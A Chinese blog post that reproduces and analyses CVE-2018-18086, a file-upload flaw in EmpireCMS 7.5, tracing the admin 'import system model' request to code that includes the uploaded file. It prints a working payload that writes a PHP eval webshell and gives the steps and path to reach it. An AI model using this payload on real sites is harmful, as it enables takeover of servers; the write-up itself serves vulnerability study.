帝国CMS 文件上传漏洞 CVE-2018-18086

1.漏洞复现

帝国CMS 7.5,http://ecms.phome.net/downcenter/empirecms/ecms75/download/EmpireCMS_7.5_SC_UTF8.zip

复现

登录后台,系统->数据表与系统模型->管理数据表->导入系统模型(数据表名随意、上传shell.mod)->马上导入

shell.mod:

<?php
file_put_contents('shell.php', '<?php @eval($_POST[1]);?>');

一句话木马路径:http://127.0.0.1/e/admin/shell.php

2.正向分析

从可见功能点正向分析

马上导入,抓包,看看入口点是哪个脚本

POST /e/admin/ecmsmod.php HTTP/1.1
...
------WebKitFormBoundarytuyvMFxK6SHqAtpA
Content-Disposition: form-data; name="enews"

LoadInMod
------WebKitFormBoundarytuyvMFxK6SHqAtpA--

/e/admin/ecmsmod.php

$enews=$_POST['enews'];
...
//导入模型
elseif($enews=="LoadInMod")
{
  $file=$_FILES['file']['tmp_name'];
  $file_name=$_FILES['file']['name'];
  $file_type=$_FILES['file']['type'];
  $file_size=$_FILES['file']['size'];
  LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

调用了 LoadInMod函数 处理文件

/e/class/moddofun.php

LoadInMod函数

//导入系统模型
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
  ...
  //上传文件
  $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
  $cp=@move_uploaded_file($file,$path);
  ...
  @include($path);

直接对临时文件进行了文件包含,导致了文件上传漏洞

posted @ 2023-05-07 13:16  Hacker&Cat  阅读(423)  评论(0编辑  收藏  举报